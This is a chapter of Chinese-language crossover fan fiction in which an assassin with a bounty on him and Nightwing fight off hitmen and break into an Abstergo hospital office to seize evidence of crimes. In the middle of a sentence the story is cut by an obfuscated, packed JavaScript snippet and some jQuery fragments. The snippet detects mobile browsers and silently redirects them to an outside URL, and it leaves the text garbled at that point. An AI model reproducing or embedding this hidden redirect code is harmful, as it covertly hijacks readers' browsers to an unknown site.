埃利奥·史密斯，一个月前还是布鲁德海文众多大学生中平平无奇的一个。但在那晚布鲁德海文东南端岛屿冲天的火光和海浪之后，他不再是了。


    圣殿骑士开出的五百万虽然远远不足以让他在悬赏榜单上跻身前列，但也足够所有人或多或少地注意到这个名字，有意无意地记住那张画像上的脸。那是一张二十左右年轻人的脸，轮廓分明，鼻梁高挺，目光锐利；一道伤疤从他鼻梁划到左侧眼脸下方，易于辨认。


    但另一张偷拍相片流传更广。


    在大陆酒店的大堂，这行走的五百万被另一个刺客揽住肩膀，显然正不太适应地矮下肩膀，迁就后者的身高。他们的脑袋挨到一起，似乎正说着悄悄话，并肩前行。


    在九头蛇杀进哥谭的行动失败之后，他们提高了针对埃利奥的赏金。任何敢在大陆酒店动手谋杀刺客的人，将得到翻倍的价格。


    但接下这份合约的杀手寥寥无几。一方面是因为他们知道大陆酒店会追杀他们到天涯海角，就算是杀手也不想为了这份工作丢了自己的命；而另一方面，则是他们认出了那张偷拍相片里的另一个人。


    恶名昭彰的特里斯坦兄弟中的一个，阿尔文，注意到了偷拍者的镜头。他没有浪费口舌阻止拍摄，只是遥遥扎来一个警告的眼神。


    而借由这张迅速流传的相片，他明确地传递出了一个信号。


    ——任何想要得到那五百万的人，必须经过他的防守。


    不是没有人铤而走险。但无一例外地，他们所有人都被刺客丢出了房间，由尽职尽责的酒店保洁“清理”干净。


    在鲜血淋漓的前车之鉴中，入住大陆酒店的杀手选择蛰伏。


    毕竟，他总不可能一直住在酒店里。


    如果埃利奥知道他们在想什么，大概也会表示赞同。他当然没有一直把自己关在酒店里。他也会时不时地出门，只不过确切来说，他走的不是“门”。


    布鲁德海文的夜幕下，刺客的身影从大陆酒店的顶层露台一跃而下。


    埃利奥原本有着明确的目标，但路上阻碍颇多。除了那些时不时冒出来的杀手，还有一些大叫救命的市民；埃利奥就这样被绊住了脚步，面无表情地从低矮的楼顶跳下去，重重踩在黑夜罪犯的身上。


    “谢谢你，刺客！”市民狼狈而逃，没忘了丢下一句话，“我会告诉其他人这件事的！”


    埃利奥从口吐白沫的罪犯身上挪开脚。他正准备重新爬到楼顶离开，忽然听见头顶传来一声熟悉的呼哨。


    “我还在想他们说的新人是谁，”夜翼蹲在路灯上，“原来是你。”


    几个空翻，义警轻巧落地。他带起的一阵温暖夜风拂上刺客脸颊，后者在兜帽下露出微笑。


    “我没想抢你的工作，夜翼，”埃利奥半开玩笑，半是认真地说，“但我发现很难放着那些声音不管。”


    “我明白，刺客。”夜翼小心地捏了捏他的肩膀，“你的伤势恢复得差不多了？”


    “已经恢复到阿尔文赶我出门活动的地步了。”埃利奥说，“他毫不客气地收走了刺客信条的卡带，但我觉得——”


    一个杀手忽然从楼顶跳了下来，直奔埃利奥而来。被吓了一大跳的夜翼从原地蹦了起来，而他眼前的被刺杀者心如止水地弹出袖剑，完成了今晚的第十二次反杀。


    “——只是因为他自己想玩。”埃利奥抽出袖剑，推开倒在他身上的杀手。


    “刚刚是不是在我们眼前发生了一场暗杀？”夜翼难以置信地确认。


    “嗯，对。”


    埃利奥甩了甩沾上血液的袖剑，熟练地蹲下身摸了摸杀手身上的口袋。夜翼凑了过来，注意到杀手的胸膛还在微微起伏。他的目光转到埃利奥脸上，戴着兜帽的刺客大约是有所误解，摊开手心。


    “分你一半？”埃利奥问。


    夜翼欲言又止。夜翼不客气地收下了搜刮成果，并且拨打了报警电话。不好意思，值夜班的同事，他在心里默默地想，但今晚我们可能会送来一打国际通缉犯。


    当巡逻警车开过来的时候，他们已经转移到了屋顶上。


    “阿尔文告诉过我你被通缉了，”夜翼说，“但我没想到情况这么严重。”


    在他们转移的过程中，又有杀手冒了出来。受到惊吓的夜翼大叫一声，条件反射地给他来了一拳；杀手幸运地错过了刺客弹出的袖剑，当场陷入昏睡。要不是反应过来的夜翼及时扒拉了他一下，兴许这位杀手先生就会从楼顶一个翻身，滚到地面上了。


    “他说圣殿骑士在那个项目里投了好几亿，”埃利奥说，“抽五百万悬赏我只是打个水漂。”


    夜翼沉默三秒，没有说话。但埃利奥紧接着说出了他的心声。


    “该死的有钱人。”埃利奥面无表情地说。


    夜翼深以为然地点了点头。两个导师富裕、自己却捉襟见肘的学徒心有戚戚地对视一眼，转移了话题。


    “我准备去阿布斯泰戈医院走一趟。”埃利奥邀请，“一起？”


    “去给圣殿骑士找点麻烦？”夜翼笑了，“我实在找不到理由拒绝这么诱人的提议。”


    他们一路前进，期间又顺路阻止了一起ATM破坏案件，两起抢劫案，匿名送给警局三个国际通缉犯，终于来到仅仅几百米外的医院。


    “我刚才就想问了，”夜翼掀开天窗，“你是谢伊的后代吗？”


    “…不，”埃利奥跟着他钻进通风管道，“至少目前没有证据这么表明——别笑，我知道你只是开玩笑的，但阿尔文认为我是亚诺的后代。”


    埃利奥知道夜翼为什么那么说。他在玩谢伊的游戏《叛变》的时候也曾经被那些层出不穷的刺客吓得半死不活，并且他有理由相信阿尔文没提醒他这一点是有原因的。


    因为当埃利奥吓得摔掉手柄的时候，坐在一边的阿尔文爆发出了一阵大笑，听起来期待已久。


    夜翼的窃笑声停了停，随后又若有所思地响起，“哦，你玩过那些游戏了。回去后记得把好友编码发给我，有空我们打联机。”


    埃利奥合理怀疑兄弟会在通过游戏手段和世界各地的超级英雄建交。就只是，没人不爱打游戏。


    包括他自己。


    “那太好了，”埃利奥真心实意地说，“我们还在为组不到四个人联机打《大革命》发愁。”


    他们在监控室上方蹑手蹑脚地停下。夜翼抬头冲他微笑了一下，熟练地移开了盖子。接下来发生的事情顺理成章，在架着平板追剧吃披萨的守卫发现他们之前，义警和刺客从管道里滑到他们背后，一人勒晕一个。


    “好香。”埃利奥分心嗅了嗅。


    “我们待会去整点薯条，”夜翼在键盘上飞快地敲了一会儿，“附近有家麦当劳——好啦！我已经把它替换成了循环播放的录像，我们走吧。”


    醒过来的守卫只会以为自己是睡着了。义警和刺客在离开之前，细心地摆弄过他们的姿势，让他们枕着手臂倒在桌上。下一次换班要到天亮，他们有充足的时间睡大觉。


    然后，潜入者大摇大摆地走出了门，钻进了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308190|166479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    隔壁的消防通道里。


    “我们要去哪？”夜翼悄声问。


    “最顶层。院长办公室。”


    埃利奥展现了精湛的开锁技术。他们没有惊动任何人，成功进入办公室，默契地开始分头行动。夜翼走到办公桌后，启动了诺伊曼院长的电脑。埃利奥则打开了鹰眼，在办公室里左右翻看。


    检查过墙壁上的画像（圣女贞德高举着伊甸圣剑），书架里昂贵精美的硬壳书《指环王》（书签夹在甘道夫在幽谷高声念诵魔戒咒语的那一页），埃利奥随意地拨弄了一下陈列架上的金属圆球。


    “夏娃采摘的第一枚苹果（一比一仿制）”，陈列架上写着。


    当埃利奥的目光还停留在那条说明上的时候，他的眼角余光忽然捕捉到了一抹闪光。他惊异地抬起头，看向被他拨弄过的金苹果。


    “你看到了吗？”他转头问。


    夜翼茫然地从屏幕里抬起头。埃利奥当着他的面再次转动了那枚金苹果，这次他扭的力度更大了些，他们都听到书架里传来齿轮运转的咔咔声响。


    当那枚仿制苹果绽放出明亮的光芒时，书架最上层的书左右退开，露出藏在中间的保险箱。


    “原来是隐藏机关，”夜翼松了口气，“我差点以为他下班前忘了带走金苹果。”


    “真遗憾他没那么做。”


    埃利奥扶着书架边架着的梯子，爬了上去。鹰眼显示出磨损严重的几个数字按键，埃利奥随便试了一个组合，保险箱就为他敞开了大门，连同里面不可告人的秘密。


    当埃利奥检查它们的时候，他终于明白为什么阿布斯泰戈能够在布鲁德海文畅通无阻。那些政界高层、社会名流的罪证，被妥善地收集在这个小小的铁盒子里，暗潮涌动的交易以此进行，建立在无声的哭嚎和血海之上。


    原来他只是阿布斯泰戈众多受害者中再轻描淡写不过的一笔。


    他幸运地拥有复仇的能力，和仍然站在他身边的师长亲友。但其他人呢？


    那些肮脏的金钱、受辱的尸体和无辜受难的灵魂在字里行间扭曲，让他几乎看不清字。埃利奥捏着那些单薄的纸页，竭力克制自己手指的颤抖，但无法克制的是他的胸膛里燃起的一簇愤怒火焰。


    那火焰差点烧光了他的理智，驱使他立刻出发，杀光这些罪证指向的凶手。但当他勉强冷静下来的时候，过往接受的教育让他想到了更好的办法——虽然，事到如今，他已经不确定寻求公义是否仍然是一个“更好的办法”。


    那会是一个更麻烦的办法，事实上。


    但埃利奥想，受害者和他们的家属会喜欢的。


    夜翼还在电脑前翻看隐藏文件。他越挖下去，神情越凝重。他发现了实验项目触目心惊的详细数据记录，布鲁德海文和哥谭警局的部分失踪案将在这里得到结案，但他一点也高兴不起来。


    刺客递到眼前的纸张忽然遮住了他的视线。夜翼抬起头。刺客的眼睛被兜帽遮掩，看不清神情。


    “你认识值得信赖的警官吗？”埃利奥问。


    夜翼的目光从埃利奥鼻梁上的伤疤移下来。他也看到了那些罪证。他立刻明白了埃利奥的想法，深深地看了他一眼。


    “我认识。”夜翼说。


    他把手指放到了那些纸张上。刺客没有松手，兜帽里的眼睛凝视着义警，“有多值得信赖？”


    “你可以尽管信赖他，就像信赖我一样，”夜翼郑重回答，“我向你保证，他绝对不会让这些罪证重归黑暗。无论他将为此付出什么代价。”